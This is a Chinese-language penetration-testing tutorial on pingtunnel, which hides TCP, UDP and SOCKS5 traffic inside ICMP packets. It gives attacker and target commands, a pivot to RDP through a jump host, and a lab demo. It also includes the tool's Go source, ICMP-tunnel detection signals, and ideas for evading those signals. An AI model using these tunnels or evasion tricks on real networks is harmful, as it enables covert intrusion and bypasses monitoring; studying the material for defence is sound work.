zl程序教程

您现在的位置是:首页 >  其它

当前栏目

内网隧道之pingtunnel

隧道
2023-06-13 09:13:36 时间

内网隧道之pingtunnel

前言

本文研究ICMP隧道的一个工具,pingtunnel

github:https://github.com/esrrhs/pingtunnel

一、概述

1、简介

持续更新,来自腾讯大佬,用Go编写,把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台

条件:

  • 目标机(客户端)可以ping出去
  • 目标机可能要管理员权限
  • windows要装有wincap

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

3、使用

(1)直连出网

攻击机(服务端)启动隧道并关闭系统默认的 ping

sudo ./pingtunnel -type server
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

目标机(客户端)

# 转发 sock5
./pingtunnel -type client -l :4455 -s www.yourserver.com -sock5 1
# 转发 tcp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
# 转发 udp
./pingtunnel -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

(2)跳板出网

跳板机

./pingtunnel -x 123456 #设置密码

攻击机

./pingtunnel -p <跳板机ip> -lp 1080 -da <目标机ip> -dp 3389 -x 123456
    -p 指定ICMP隧道另一端的IP
    -lp:指定本地监听的端口
    -da:指定要转发的目标机器的IP
    -dp:指定要转发的目标机器的端口
    -x:指定连接密码

二、实践

1、场景

攻击机(服务端):kali 192.168.10.128

目标机(客户端):ubuntu 192.168.10.129

目标机可以ping通攻击机

2、建立隧道

(1)攻击机

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭系统默认的 ping(可选)
[sudo] ./pingtunnel -type server -key 123456 #设置密码

(2)目标机

./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456

(3)nc

此时隧道建立成功

然后就可以进行下一步,比如nc

目标机

攻击机收到信息

3、抓包看看

建立连接时的心跳包和ARP寻址

nc命令时的包

三、探索

1、源码与分析

(1)main.go

主要是使用方法,调用server和client,然后有个过滤国家的filter可以忽略掉(调用的库有点多有点大)

package main

import (
  "flag"
  "fmt"
  "github.com/esrrhs/go-engine/src/common" 
  "github.com/esrrhs/go-engine/src/geoip"
  "github.com/esrrhs/go-engine/src/loggo"
  "github.com/esrrhs/go-engine/src/pingtunnel"
  "net"
  "net/http"
  _ "net/http/pprof"
  "strconv"
  "time"
)

var usage = `
    通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
    By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.

Usage:

    // server
    pingtunnel -type server

    // client, Forward udp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455

    // client, Forward tcp
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1

    // client, Forward sock5, implicitly open tcp, so no target server is needed
    pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

    -type     服务器或者客户端
              client or server

服务器参数server param:

    -key      设置的密码,默认0
              Set password, default 0

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -maxconn  最大连接数,默认0,不受限制
              the max num of connections, default 0 is no limit

    -maxprt   server最大处理线程数,默认100
              max process thread in server, default 100

    -maxprb   server最大处理线程buffer数,默认1000
              max process thread's buffer in server, default 1000

    -conntt   server发起连接到目标地址的超时时间,默认1000ms
              The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.

客户端参数client param:

    -l        本地的地址,发到这个端口的流量将转发到服务器
              Local address, traffic sent to this port will be forwarded to the server

    -s        服务器的地址,流量将通过隧道转发到这个服务器
              The address of the server, the traffic will be forwarded to this server through the tunnel

    -t        远端服务器转发的目的地址,流量将转发到这个地址
              Destination address forwarded by the remote server, traffic will be forwarded to this address

    -timeout  本地记录连接超时的时间,单位是秒,默认60s
              The time when the local record connection timed out, in seconds, 60 seconds by default

    -key      设置的密码,默认0
              Set password, default 0

    -tcp      设置是否转发tcp,默认0
              Set the switch to forward tcp, the default is 0

    -tcp_bs   tcp的发送接收缓冲区大小,默认1MB
              Tcp send and receive buffer size, default 1MB

    -tcp_mw   tcp的最大窗口,默认20000
              The maximum window of tcp, the default is 20000

    -tcp_rst  tcp的超时发送时间,默认400ms
              Tcp timeout resend time, default 400ms

    -tcp_gz   当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
              Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0

    -tcp_stat 打印tcp的监控,默认0
              Print tcp connection statistic, default 0 is off

    -nolog    不写日志文件,只打印标准输出,默认0
              Do not write log files, only print standard output, default 0 is off

    -noprint  不打印屏幕输出,默认0
              Do not print standard output, default 0 is off

    -loglevel 日志文件等级,默认info
              log level, default is info

    -sock5    开启sock5转发,默认0
              Turn on sock5 forwarding, default 0 is off

    -profile  在指定端口开启性能检测,默认0不开启
              Enable performance detection on the specified port. The default 0 is not enabled.

    -s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
              Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.

    -s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
              The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
`

func main() {

  defer common.CrashLog()

  t := flag.String("type", "", "client or server")
  listen := flag.String("l", "", "listen addr")
  target := flag.String("t", "", "target addr")
  server := flag.String("s", "", "server addr")
  timeout := flag.Int("timeout", 60, "conn timeout")
  key := flag.Int("key", 0, "key")
  tcpmode := flag.Int("tcp", 0, "tcp mode")
  tcpmode_buffersize := flag.Int("tcp_bs", 1*1024*1024, "tcp mode buffer size")
  tcpmode_maxwin := flag.Int("tcp_mw", 20000, "tcp mode max win")
  tcpmode_resend_timems := flag.Int("tcp_rst", 400, "tcp mode resend time ms")
  tcpmode_compress := flag.Int("tcp_gz", 0, "tcp data compress")
  nolog := flag.Int("nolog", 0, "write log file")
  noprint := flag.Int("noprint", 0, "print stdout")
  tcpmode_stat := flag.Int("tcp_stat", 0, "print tcp stat")
  loglevel := flag.String("loglevel", "info", "log level")
  open_sock5 := flag.Int("sock5", 0, "sock5 mode")
  maxconn := flag.Int("maxconn", 0, "max num of connections")
  max_process_thread := flag.Int("maxprt", 100, "max process thread in server")
  max_process_buffer := flag.Int("maxprb", 1000, "max process thread's buffer in server")
  profile := flag.Int("profile", 0, "open profile")
  conntt := flag.Int("conntt", 1000, "the connect call's timeout")
  s5filter := flag.String("s5filter", "", "sock5 filter")
  s5ftfile := flag.String("s5ftfile", "GeoLite2-Country.mmdb", "sock5 filter file")
  flag.Usage = func() {
    fmt.Printf(usage)
  }

  flag.Parse()

  if *t != "client" && *t != "server" {
    flag.Usage()
    return
  }
  if *t == "client" {
    if len(*listen) == 0 || len(*server) == 0 {
      flag.Usage()
      return
    }
    if *open_sock5 == 0 && len(*target) == 0 {
      flag.Usage()
      return
    }
    if *open_sock5 != 0 {
      *tcpmode = 1
    }
  }
  if *tcpmode_maxwin*10 > pingtunnel.FRAME_MAX_ID {
    fmt.Println("set tcp win too big, max = " + strconv.Itoa(pingtunnel.FRAME_MAX_ID/10))
    return
  }
  // 记录日志
  level := loggo.LEVEL_INFO
  if loggo.NameToLevel(*loglevel) >= 0 {
    level = loggo.NameToLevel(*loglevel)
  }
  loggo.Ini(loggo.Config{
    Level:     level,
    Prefix:    "pingtunnel",
    MaxDay:    3,
    NoLogFile: *nolog > 0,
    NoPrint:   *noprint > 0,
  })
  loggo.Info("start...")
  loggo.Info("key %d", *key)

  if *t == "server" {
    s, err := pingtunnel.NewServer(*key, *maxconn, *max_process_thread, *max_process_buffer, *conntt)
    if err != nil {
      loggo.Error("ERROR: %s", err.Error())
      return
    }
    loggo.Info("Server start")
    err = s.Run()
    if err != nil {
      loggo.Error("Run ERROR: %s", err.Error())
      return
    }
  } else if *t == "client" {

    loggo.Info("type %s", *t)
    loggo.Info("listen %s", *listen)
    loggo.Info("server %s", *server)
    loggo.Info("target %s", *target)

    if *tcpmode == 0 {
      *tcpmode_buffersize = 0
      *tcpmode_maxwin = 0
      *tcpmode_resend_timems = 0
      *tcpmode_compress = 0
      *tcpmode_stat = 0
    }
    
    // 过滤国家,如果不是翻墙可以忽略
    if len(*s5filter) > 0 {
      err := geoip.Load(*s5ftfile)
      if err != nil {
        loggo.Error("Load Sock5 ip file ERROR: %s", err.Error())
        return
      }
    }
    filter := func(addr string) bool {
      if len(*s5filter) <= 0 {
        return true
      }

      taddr, err := net.ResolveTCPAddr("tcp", addr)
      if err != nil {
        return false
      }

      ret, err := geoip.GetCountryIsoCode(taddr.IP.String())
      if err != nil {
        return false
      }
      if len(ret) <= 0 {
        return false
      }
      return ret != *s5filter
    }

    c, err := pingtunnel.NewClient(*listen, *server, *target, *timeout, *key,
      *tcpmode, *tcpmode_buffersize, *tcpmode_maxwin, *tcpmode_resend_timems, *tcpmode_compress,
      *tcpmode_stat, *open_sock5, *maxconn, &filter)
    if err != nil {
      loggo.Error("ERROR: %s", err.Error())
      return
    }
    loggo.Info("Client Listen %s (%s) Server %s (%s) TargetPort %s:", c.Addr(), c.IPAddr(),
      c.ServerAddr(), c.ServerIPAddr(), c.TargetAddr())
    err = c.Run()
    if err != nil {
      loggo.Error("Run ERROR: %s", err.Error())
      return
    }
  } else {
    return
  }

  if *profile > 0 {
    go http.ListenAndServe("0.0.0.0:"+strconv.Itoa(*profile), nil)
  }

  for {
    time.Sleep(time.Hour)
  }
}

(2)pingtunnel.go

ICMP包的构造和收发,其中ICMP包和IP包的构造直接从net库导入,收发主要是内容填充和一些error的注意

package pingtunnel

import (
  "encoding/binary"
  "github.com/esrrhs/go-engine/src/common"
  "github.com/esrrhs/go-engine/src/loggo"
  "github.com/golang/protobuf/proto"
  "golang.org/x/net/icmp"
  "golang.org/x/net/ipv4"
  "net"
  "sync"
  "time"
)

func sendICMP(id int, sequence int, conn icmp.PacketConn, server *net.IPAddr, target string,
  connId string, msgType uint32, data []byte, sproto int, rproto int, key int,
  tcpmode int, tcpmode_buffer_size int, tcpmode_maxwin int, tcpmode_resend_time int, tcpmode_compress int, tcpmode_stat int,
  timeout int) {

  m := &MyMsg{
    Id:                  connId,
    Type:                (int32)(msgType),
    Target:              target,
    Data:                data,
    Rproto:              (int32)(rproto),
    Key:                 (int32)(key),
    Tcpmode:             (int32)(tcpmode),
    TcpmodeBuffersize:   (int32)(tcpmode_buffer_size),
    TcpmodeMaxwin:       (int32)(tcpmode_maxwin),
    TcpmodeResendTimems: (int32)(tcpmode_resend_time),
    TcpmodeCompress:     (int32)(tcpmode_compress),
    TcpmodeStat:         (int32)(tcpmode_stat),
    Timeout:             (int32)(timeout),
    Magic:               (int32)(MyMsg_MAGIC),
  }

  mb, err := proto.Marshal(m)
  if err != nil {
    loggo.Error("sendICMP Marshal MyMsg error %s %s", server.String(), err)
    return
  }

  body := &icmp.Echo{
    ID:   id,
    Seq:  sequence,
    Data: mb,
  }

  msg := &icmp.Message{
    Type: (ipv4.ICMPType)(sproto),
    Code: 0,
    Body: body,
  }

  bytes, err := msg.Marshal(nil)
  if err != nil {
    loggo.Error("sendICMP Marshal error %s %s", server.String(), err)
    return
  }

  conn.WriteTo(bytes, server)
}

func recvICMP(workResultLock *sync.WaitGroup, exit *bool, conn icmp.PacketConn, recv chan<- *Packet) {

  defer common.CrashLog()

  (*workResultLock).Add(1)
  defer (*workResultLock).Done()

  bytes := make([]byte, 10240)
  for !*exit {
    conn.SetReadDeadline(time.Now().Add(time.Millisecond * 100))
    n, srcaddr, err := conn.ReadFrom(bytes)

    if err != nil {
      nerr, ok := err.(net.Error)
      if !ok || !nerr.Timeout() {
        loggo.Info("Error read icmp message %s", err)
        continue
      }
    }

    if n <= 0 {
      continue
    }

    echoId := int(binary.BigEndian.Uint16(bytes[4:6]))
    echoSeq := int(binary.BigEndian.Uint16(bytes[6:8]))

    my := &MyMsg{}
    err = proto.Unmarshal(bytes[8:n], my)
    if err != nil {
      loggo.Debug("Unmarshal MyMsg error: %s", err)
      continue
    }

    if my.Magic != (int32)(MyMsg_MAGIC) {
      loggo.Debug("processPacket data invalid %s", my.Id)
      continue
    }

    recv <- &Packet{my: my,
      src:    srcaddr.(*net.IPAddr),
      echoId: echoId, echoSeq: echoSeq}
  }
}

type Packet struct {
  my      *MyMsg
  src     *net.IPAddr
  echoId  int
  echoSeq int
}

const (
  FRAME_MAX_SIZE int = 888
  FRAME_MAX_ID   int = 1000000
)

(3)client.go

800多行。。。主要是由于要支持TCP、UDP、SOCKS5

(4)server.go

同样是800多行。。

2、检测与绕过

(1)异常ICMP数据包数量

如图是nc期间,1s内有10个包

考虑将包的间隔定死为ping的间隔 或者鱼目混珠掩护

(2)异常ICMP包长度

如图是nc传信息时的包,长度异常

考虑将内容切分,限制长度,收到后再拼装

(3)payload内容

躲不过去的payload内容检测

正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

加密混淆不知道效果如何,视规则而定?

结语

用go写的icmp隧道,比其他icmp隧道要牛一点


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。